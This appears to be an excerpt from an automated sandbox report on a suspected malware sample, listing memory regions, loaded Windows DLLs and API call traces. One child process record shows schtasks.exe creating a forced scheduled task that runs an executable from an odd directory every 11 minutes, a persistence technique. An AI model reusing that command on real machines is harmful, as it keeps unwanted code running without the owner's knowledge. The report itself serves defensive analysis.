0x7fef9001d80 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1685 start_va = 0x7fef92e0000 end_va = 0x7fef92edfff monitored = 0 entry_point = 0x7fef92e5500 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1686 start_va = 0x7fef92f0000 end_va = 0x7fef9316fff monitored = 0 entry_point = 0x7fef92f11a0 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1687 start_va = 0x7fef9320000 end_va = 0x7fef93f2fff monitored = 0 entry_point = 0x7fef9398b00 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1688 start_va = 0x7fef9580000 end_va = 0x7fef95f6fff monitored = 1 entry_point = 0x7fef95be7f0 region_type = mapped_file name = "wbemcomn2.dll" filename = "\\Windows\\System32\\wbemcomn2.dll" (normalized: "c:\\windows\\system32\\wbemcomn2.dll") Region: id = 1689 start_va = 0x7fef96c0000 end_va = 0x7fef970dfff monitored = 0 entry_point = 0x7fef96c1198 region_type = mapped_file name = "pdh.dll" filename = "\\Windows\\System32\\pdh.dll" (normalized: "c:\\windows\\system32\\pdh.dll") Region: id = 1690 start_va = 0x7fef9710000 end_va = 0x7fef9734fff monitored = 1 entry_point = 0x7fef9728d6c region_type = mapped_file name = "wmiperfclass.dll" filename = "\\Windows\\System32\\wbem\\WmiPerfClass.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiperfclass.dll") Region: id = 1691 start_va = 0x7fefacf0000 end_va = 0x7fefad1cfff monitored = 0 entry_point = 0x7fefacf1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1692 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1693 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1694 start_va = 0x7fefc6d0000 end_va = 0x7fefc6f1fff monitored = 0 entry_point = 0x7fefc6d5d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1695 start_va = 0x7fefc790000 end_va = 0x7fefc7fcfff monitored = 0 entry_point = 0x7fefc791010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1696 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1697 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1698 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1699 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1700 start_va = 0x7fefd490000 end_va = 0x7fefd4dcfff monitored = 0 entry_point = 0x7fefd491070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1701 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1702 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1703 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1704 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1705 start_va = 0x7fefea60000 end_va = 0x7fefeab1fff monitored = 0 entry_point = 0x7fefea610d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1706 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1707 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1708 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1709 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1710 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1711 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1712 start_va = 0x7fefeff0000 end_va = 0x7fefeff7fff monitored = 0 entry_point = 0x7fefeff1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1713 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1714 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1715 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1716 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1717 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1718 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1719 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1720 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1721 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1722 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1723 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1724 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 91 os_tid = 0x394 Thread: id = 92 os_tid = 0x464 [0196.314] DllCanUnloadNow () returned 0x1 [0196.314] DllCanUnloadNow () returned 0x1 Thread: id = 93 os_tid = 0x35c Thread: id = 94 os_tid = 0x7c0 Thread: id = 95 os_tid = 0x5f0 Thread: id = 96 os_tid = 0x5f8 Thread: id = 97 os_tid = 0x25c Thread: id = 98 os_tid = 0x5d8 Thread: id = 195 os_tid = 0xd20 Thread: id = 320 os_tid = 0x310 Process: id = "8" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x43262000" os_pid = "0xea4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"whatever_onlyw\" /sc MINUTE /mo 11 /tr \"'C:\\comproviderRuntimecommon\\whatever_only.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1455 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1456 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1457 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1458 start_va = 0xc0000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1459 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1460 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1461 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1462 start_va = 0xffc80000 end_va = 0xffcc7fff monitored = 1 entry_point = 0xffca966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 1463 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1464 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1465 start_va = 0x7fffffda000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1466 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1467 start_va = 0x140000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 1468 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1469 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1470 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1471 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1472 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1473 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1474 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1475 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1476 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1477 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1478 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1479 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1480 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1481 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1482 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1483 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1484 start_va = 0x250000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 1485 start_va = 0x320000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 1486 start_va = 0x250000 end_va = 0x278fff monitored = 0 entry_point = 0x251010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1487 start_va = 0x310000 end_va = 0x31ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 1488 start_va = 0x420000 end_va = 0x5a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1489 start_va = 0x250000 end_va = 0x278fff monitored = 0 entry_point = 0x251010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1490 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1491 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1492 start_va = 0x5b0000 end_va = 0x730fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 1493 start_va = 0x740000 end_va = 0x1b3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 1494 start_va = 0x250000 end_va = 0x261fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 1497 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1498 start_va = 0x140000 end_va = 0x140fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 1499 start_va = 0x150000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 1542 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1543 start_va = 0x1b40000 end_va = 0x1e0efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1546 start_va = 0x270000 end_va = 0x2ecfff monitored = 0 entry_point = 0x27cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1547 start_va = 0x270000 end_va = 0x2ecfff monitored = 0 entry_point = 0x27cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1553 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1554 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1555 start_va = 0x1e10000 end_va = 0x1f3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e10000" filename = "" Region: id = 1558 start_va = 0x1f40000 end_va = 0x201efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f40000" filename = "" Region: id = 1560 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1614 start_va = 0x2120000 end_va = 0x219ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002120000" filename = "" Region: id = 1615 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1616 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1617 start_va = 0x270000 end_va = 0x270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 1618 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1619 start_va = 0x280000 end_va = 0x280fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 1620 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 1621 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1644 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 101 os_tid = 0xea8 [0126.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x13ff00 | out: lpSystemTimeAsFileTime=0x13ff00*(dwLowDateTime=0x1af99b20, dwHighDateTime=0x1d8a92a)) [0126.759] GetCurrentProcessId () returned 0xea4 [0126.759] GetCurrentThreadId () returned 0xea8 [0126.759] GetTickCount () returned 0x1385575 [0126.759] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x13ff08 | out: lpPerformanceCount=0x13ff08*=2060562260912) returned 1 [0126.773] GetModuleHandleW (lpModuleName=0x0) returned 0xffc80000 [0126.773] __set_app_type (_Type=0x1) [0126.773] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffca972c) returned 0x0 [0126.773] __wgetmainargs (in: _Argc=0xffcc1240, _Argv=0xffcc1250, _Env=0xffcc1248, _DoWildCard=0, _StartInfo=0xffcc125c | out: _Argc=0xffcc1240, _Argv=0xffcc1250, _Env=0xffcc1248) returned 0 [0126.866] _onexit (_Func=0xffcb2ab0) returned 0xffcb2ab0 [0126.866] _onexit (_Func=0xffcb2ac4) returned 0xffcb2ac4 [0126.866] _onexit (_Func=0xffcb2afc) returned 0xffcb2afc [0126.866] _onexit (_Func=0xffcb2b58) returned 0xffcb2b58 [0126.866] _onexit (_Func=0xffcb2b80) returned 0xffcb2b80 [0126.866] _onexit (_Func=0xffcb2ba8) returned 0xffcb2ba8 [0126.866] _onexit (_Func=0xffcb2bd0) returned 0xffcb2bd0 [0126.867] _onexit (_Func=0xffcb2bf8) returned 0xffcb2bf8 [0126.867] _onexit (_Func=0xffcb2c20) returned 0xffcb2c20 [0126.867] _onexit (_Func=0xffcb2c48) returned 0xffcb2c48 [0126.868] _onexit (_Func=0xffcb2c70) returned 0xffcb2c70 [0126.869] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0126.869] WinSqmIsOptedIn () returned 0x0 [0126.880] GetProcessHeap () returned 0x150000 [0126.880] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16b990 [0126.880] SetLastError (dwErrCode=0x0) [0126.880] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0126.880] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0126.880] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0126.880] VerifyVersionInfoW (in: lpVersionInformation=0x13f6c0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x13f6c0) returned 1 [0126.880] GetProcessHeap () returned 0x150000 [0126.880] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16b9b0 [0126.880] lstrlenW (lpString="") returned 0 [0126.880] GetProcessHeap () returned 0x150000 [0126.881] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x2) returned 0x16b9d0 [0126.881] GetProcessHeap () returned 0x150000 [0126.881] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165930 [0126.881] GetProcessHeap () returned 0x150000 [0126.881] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16b9f0 [0126.882] GetProcessHeap () returned 0x150000 [0126.882] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165960 [0126.882] GetProcessHeap () returned 0x150000 [0126.882] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165990 [0126.882] GetProcessHeap () returned 0x150000 [0126.882] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x1659c0 [0126.882] GetProcessHeap () returned 0x150000 [0126.882] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x1659f0 [0126.883] GetProcessHeap () returned 0x150000 [0126.883] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16ba10 [0126.883] GetProcessHeap () returned 0x150000 [0126.883] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165a20 [0126.883] GetProcessHeap () returned 0x150000 [0126.883] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165a50 [0126.883] GetProcessHeap () returned 0x150000 [0126.883] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165a80 [0126.883] GetProcessHeap () returned 0x150000 [0126.883] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165ab0 [0126.883] GetProcessHeap () returned 0x150000 [0126.883] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16ba30 [0126.883] GetProcessHeap () returned 0x150000 [0126.883] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165ae0 [0126.883] GetProcessHeap () returned 0x150000 [0126.883] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165b10 [0126.883] GetProcessHeap () returned 0x150000 [0126.883] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165b40 [0126.883] GetProcessHeap () returned 0x150000 [0126.883] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165b70 [0126.883] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0126.884] SetLastError (dwErrCode=0x0) [0126.884] GetProcessHeap () returned 0x150000 [0126.884] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x165ba0 [0126.884] GetProcessHeap () returned 0x150000 [0126.884] 